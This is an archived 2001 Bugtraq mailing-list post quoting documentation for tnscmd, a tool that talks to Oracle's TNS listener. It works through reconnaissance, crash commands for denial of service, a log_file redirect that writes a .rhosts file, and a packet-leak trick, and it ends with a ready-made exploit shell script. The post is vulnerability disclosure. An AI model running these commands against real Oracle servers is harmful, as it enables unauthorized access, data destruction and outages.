I tested it against Solaris 2.8 running Oracle 8.1.6 but it wouldn't crash. But a Solaris 2.6 box running Oracle 8.1.6 did. I had hardened the Solaris 8 box with some TCP/IP tweaks.. I guess that did the trick. Siddhartha ----- Original Message ----- From: "James W. Abendschan" <jwaat_private> To: <BUGTRAQat_private> Sent: Friday, April 27, 2001 1:44 AM Subject: Re: Oracle8 denial of service > On Wed, 25 Apr 2001, Guy Poizat wrote: > > > > >It works against Oracle 8.0.5 running on linux as > > > >well... > > > > > > > >Tib > > > > > > Doesn't seem to work against Oracle 8.1.6 on linux, as far as i tried. > > I finally got around to documenting the bugs I was able to find back > in October (DoS; write files wherever tnslsnr has write privs [ie, .rhosts]; > packet leaking). I'd be interested to know what other versions of Oracle are > affected by these problems -- I was testing Oracle 8.1.6 for Solaris (sun4u) > at the time. > > The most current version of the document is available at: > > http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html > > I've included it below at the request of Aleph1. I'm interested > in feedback; don't be shy in telling me I've got this all wrong. > > James > > > [1]tnscmd documentation > > 25 April 2001 > [2]jwaat_private > $Id: tnscmd-doc.html,v 1.2 2001/04/26 06:46:47 jwa Exp $ > > I. Intro > > tnscmd can be used to speak, on a very simple level, with Oracle's TNS > listener. > The TNS listener (aka tnslsnr) is the network interface between a > database client and the database server. tnslsnr listens on port > 1521/tcp, but the DBA can change this (I've seen listeners on port > 1541/tcp as well.) fwiw, [3]nmap-services lists these as ncube-lm > and rds2, respectively. > The tnslnsr keeps a spartan log of activity -- spartan in that it > doesn't log a whole lot of useful information. For instance, it > does not log the IP address of TNS sessions. > If you initiate a TCP session to the tnslsnr port, you won't make > much headway; it won't provide a banner and will probably > disconnect if you type something. Don't worry; this is what tnscmd > is for. > > II. tnscmd > > tnscmd is not even close to a full-blown Oracle client; it simply > talks to the tnslsnr process. tnslsnr will respond to certain > commands such as ping (an application-level no-op), version (dumps > version information about Oracle), status (dumps status about the > listener and database instances), and services (dumps info about > the running services.) Commands are apparently case-insensitive. > Let's say we've found the host oraclebox.example.com listening on > port 1521. It might be running Oracle; how can we tell? the 'ping' > command is a good place to start; tnscmd will issue a 'ping' > command if given no command. > If we want to ping this host to see if it is actually running > tnslsnr, we would type: > unix% tnscmd -h oraclebox.example.com -p 1521 > sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521 > writing 87 bytes > reading > .I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER)) > > Here we see three things: > > * the TNS command: (CONNECT_DATA=(COMMAND=ping)) > * the raw TNS packet sent to tnslsnr: .W.......6. [ etc ] > * and the raw TNS reply packet from tnslsnr: > .I......"..=(DESCRIPTION=( [etc] > > This reply is typical of 'ping' replies; the only thing I've noticed > is VSNNUM=135290880 varies from host to host (yet it's the same on two > different hosts running the same Oracle version). I don't know what > this is. > > III. Information gathering > > OK, now we've established tnslsnr is running on this host. What else > can we do? There are (at least) three commands that are useful for > information gathering, version, status and services: > unix% tnscmd version -h oraclebox.example.com -p 1521 > sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521 > writing 90 bytes > reading > .M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0) ). > a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solari s: > .Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor. fo > r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapt er > .for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for .S > olaris:.Version.8.1.6.0.0.-.Production,,.........@ > > This is pretty straightforward. version reveals the version of > Oracle (in this case, 8.1.6.0.0 for Solaris). Another command, > status is a bit more verbose: > unix% tnscmd status -h oraclebox.example.com -p 1521 > sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521 > writing 89 bytes > reading > .........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=1352908 80 > )(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Versi on.8. > 1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u0 1/ > app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/p ro > > [ snipped for brevity ] > Wow, look at all that data. Kind of hard to read, but because it's > all balanced within parens, we can break it up with the --indent > option and make it purty: > unix% tnscmd status -h oraclebox.example.com -p 1521 --indent > We'll get something like: > DESCRIPTION= > TMP= > VSNNUM=135290880 > ERR=0 > ALIAS=LISTENER > SECURITY=OFF > VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production > START_DATE=01-SEP-2000.18:35:49 > SIDNUM=1 > LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log > PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora > TRACING=off > UPTIME=2032269835 > SNMP=OFF > > Note SECURITY=OFF. I believe this indicates whether or not the DBA > has assigned a password to the listener. > Note START_DATE and UPTIME. Not clear if UPTIME is the tnslsnr > uptime or the host uptime. > Note the path to LOGFILE and PRMFILE. This can give you a good > idea of the filesystem layout. > Other strange oracle stuff: > ENDPOINT= > HANDLER= > STA=ready > HANDLER_MAXLOAD=0 > HANDLER_LOAD=0 > ESTABLISHED=0 > REFUSED=0 > HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0 > PRE=ttc > SESSION=NS > DESCRIPTION= > ADDRESS= > PROTOCOL=ipc > KEY=EXTPROC > > ENDPOINT= > HANDLER= > STA=ready > HANDLER_MAXLOAD=0 > HANDLER_LOAD=0 > ESTABLISHED=0 > REFUSED=0 > HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0 > PRE=ttc > SESSION=NS > DESCRIPTION= > ADDRESS= > PROTOCOL=tcp > HOST=oraclebox.example.com > PORT=1521 > > ENDPOINT= > HANDLER= > STA=ready > HANDLER_MAXLOAD=0 > HANDLER_LOAD=0 > ESTABLISHED=0 > REFUSED=0 > HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0 > PRE=giop > SESSION=RAW > DESCRIPTION= > ADDRESS= > PROTOCOL=tcp > HOST=oraclebox.example.com > PORT=2481 > .. unanswered question: what's running on port 2481? > > PROTOCOL_STACK= > PRESENTATION=GIOP > SESSION=RAW > > SERVICE= > SERVICE_NAME=PLSExtProc > INSTANCE= > INSTANCE_NAME=PLSExtProc > NUM=1 > INSTANCE_CLASS=ORACLE > NUMREL=1 > > SERVICE= > SERVICE_NAME=pr01stage > INSTANCE= > INSTANCE_NAME=pr01stage > NUM=1 > INSTANCE_CLASS=ORACLE > NUMREL=1 > > SERVICE= > SERVICE_NAME=rcats > INSTANCE= > INSTANCE_NAME=rcats > NUM=1 > INSTANCE_CLASS=ORACLE > NUMREL=1 > [ ... ] > The 'services' command outputs still more information: > unix% tnscmd services -h oraclebox.example.com -p 1521 --indent > > [ ... ] > > SERVICE= > SERVICE_NAME=PLSExtProc > INSTANCE= > INSTANCE_NAME=PLSExtProc > NUM=1 > INSTANCE_CLASS=ORACLE > HANDLER= > HANDLER_DISPLAY=DEDICATED.SERVER > STA=ready > HANDLER_INFO=LOCAL.SERVER > HANDLER_MAXLOAD=0 > HANDLER_LOAD=0 > ESTABLISHED=86 > REFUSED=0 > HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0 > HANDLER_NAME=DEDICATED > ADDRESS= > PROTOCOL=beq > PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc > ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc > ' > > ARGV0=extprocPLSExtProc > ARGS=' > LOCAL=NO > ' > NUMREL=1 > > PROGRAM, ENVS, and ARGV0 are potentially interesting. If the > tnslsnr was started out of an interactive shell, ENVS will contain > the user's environment. > > IV. Break stuff > > tnslsnr is vulnerable to remote denial-of-service attacks and > potential security issues. According to Oracle, only versions > 7.3.4, 8.0.6, and 8.1.6 are affected. I have verified > vulnerabilities under 8.1.6 for Solaris. > IV.1 - DoS: > > An unpassworded tnslsnr can also be shut down by sending it a 'stop' > command. Obvious, eh? > "Bad" TNS packets can crash the listener, regardless of whether or > not the DBA has set a password. Sending > tnscmd [badcommand] -h oraclebox.example.com > will SEGV the listener. badcommand can be any one of: > > trc_file trc_level use_plugandplay trc_directory snmp_visible log_file > log_status log_directory > > IV.2 - write files > Recall the 'log_file' command and the LOGFILE variable returned by > the 'status' command. This is the path to the tnslsnr log file. As > you might imagine, this variable can be changed. If we send this > TNS command (using the --rawcmd option to tnslsnr) > unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNEC > T_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE > =LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))" > > .. then tnslsnr will open with O_APPEND /tmp/floboz and start > logging messages to it. This can be verified by the response > packet: > ........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(L O > G > FILENAME=/tmp/floboz)) > > .. or by > unix% tnscmd status -h oraclebox.example.com --indent | grep LOG > > Since tnscmd runs as the oracle user, an attacker can write files > anywhere the oracle user can. If an attacker knows the pathname to > a database (can be deduced from the pathnames revealed by tnscmd), > she can clobber the database. > She might, however, chose a more subtle route: either by using > finger or determining the oracle home directory by guesswork > (/home/oracle? /u/oracle? /opt/oracle?), she can create a .rhosts > or .forward file. While the tnslsnr doesn't log much, it *does* > log bad commands; she can then send a command such as (note the > embedded newlines in the quotes) > unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=(( > + + > " > > .. tnslnsr will log something along the lines of > TNS-01153: Failed to process string: > + + > > NL-00303: syntax error in NV string > > into our log file / .rhosts. > > IV.3: tns packet leakage > > To the best of my knowledge, this bug remains unpatched in Oracle > 8.1.7. > By lying about the size of the packet we're sending to the > tnslsnr, we can get the tnslsnr to reveal the contents of previous > packets. We can do this with the --cmdsize option. While any > command will work, we use " " (space) just so we preserve the > original buffer contents as much as possible. > unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40 > Sending to oraclebox.example.com:1521 > Faking command length to 40 bytes > connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))] > .T.......6.,...............:................4.............(CONNECT_DATA=(COM MA > ND=.)) > read > ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CO DE > =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE =3 > 03)(EMFI=1)))) > > .. that's odd, where did that vices))CONNECT come from? Hey, that > looks familiar... it looks like the services command I just sent > in the last example! But what's with the CONNECT ? CONNECT_DATA > comes at the beginning of the packet; maybe there's another > command here? > unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90 > > [ ... ] > ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CO DE > =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stag e1 > )(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1)))) > > Apparently tnslsnr doesn't clear the buffer before writing a > packet into it, or maybe it doesn't properly zero-terminate a > string. Whatever is going on inside can be used to our advantage > to harvest more interesting information. Let's go whole-hog and > try it a --cmdsize of 200: > ........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK= (E > RROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA =( > SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM =C > :\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))' )) > (ERROR=(CODE=303)(EMFI=1)))) > > (I added the XXX's to balance the packet :) Huh, a pathname, a > hostname, and a username. No passwords, unfortunately -- SQL*net > login is handled in a child process, IIRC -- but a username is a > good place to start. On a busy server, this can potentially reveal > lots of usernames. If the listener is passworded and the DBA > connects, will the password be leaked? hmm. > By playing with the --cmdsize argument, the rest of the "old" > packet(s) will be revealed. Once you've gone past a certain point, > though, you'll just get a TNS error (ERR=1153). It's also not too > hard to write a program to find the optimal values & run it > against a server for a few days .. > > V. References: > > * [4]CVE entry > * [5]Oracle security alerts > * [6]ISS's advisory > * [7]Oracle Control Utility Reference > * [8]advisory sent to Oracle and CERT on 23 Oct 2000 > * [9]tnscmd home > > notes > > Commands intuited from 'strings `which tnslsnr`': > > * investigate spawn command; how to list what commands can be > spawned? > * ping - pings the listener > * debug - dumps debugging info to the listener log > (/u01/app/oracle/product/8.1.6/network/log/listener.log) > * dispatch - ? > * establish - "TNS-12504: TNS:listener was not given the SID in > CONNECT_DATA" > * reload - reloads config file > 06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0 > 06-OCT-2000 23:37:03 * service_register * pr01dev * 0 > * services - dumps all sorts of chilly data > * save_config - writes config to a backup file. (can this be > specified remotely? hrm) > * trace - needs a "trace level", unsure of the syntax here > * version - pretty output of the installed TNS listener version(s) > * stop - shuts the listener down (on purpose). if the DBA has set > the database up properly, this should not work without a password. > > 0-day spl01t: > > #!/bin/sh > # > # jwaat_private 6 Oct 2000 > # > > # point the logfile at $HOME/.rhosts > > ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO > MMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01 /ho > me/oracle/.rhosts)))" -h oraclesvr2 > > # verify that it worked (this will dump the value of log_file) > > ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO > MMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2 > > # put arbitrary data into the logfile-- it will look something like this: > # > # 06-OCT-2000 18:14:46 * log_file * 0 > # 06-OCT-2000 18:14:46 * log_file * 0 > # 06-OCT-2000 18:14:47 * 1153 > # TNS-01153: Failed to process string: > # + + > # > # NL-00303: syntax error in NV string > # > > ./tnscmd --rawcmd " > + + > " -h oraclesvr2 > > # > # connect > # > > rlogin -l oracle oraclesvr2 > > References > > 1. http://www.jammed.com/~jwa/hacks/security/tnscmd > 2. mailto:jwaat_private > 3. http://www.insecure.org/nmap > 4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818" > 5. http://otn.oracle.com/deploy/security/alerts.htm > 6. http://xforce.iss.net/alerts/advise66.php > 7. http://www.oradoc.com/ora8doc/DOC/network803/A51576_01/appa.htm > 8. http://www.jammed.com/~jwa/hacks/security/tnscmd/tns-advisory.txt > 9. http://www.jammed.com/~jwa/hacks/security/tnscmd/ _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com
This archive was generated by hypermail 2b30 : Fri Apr 27 2001 - 07:25:08 PDT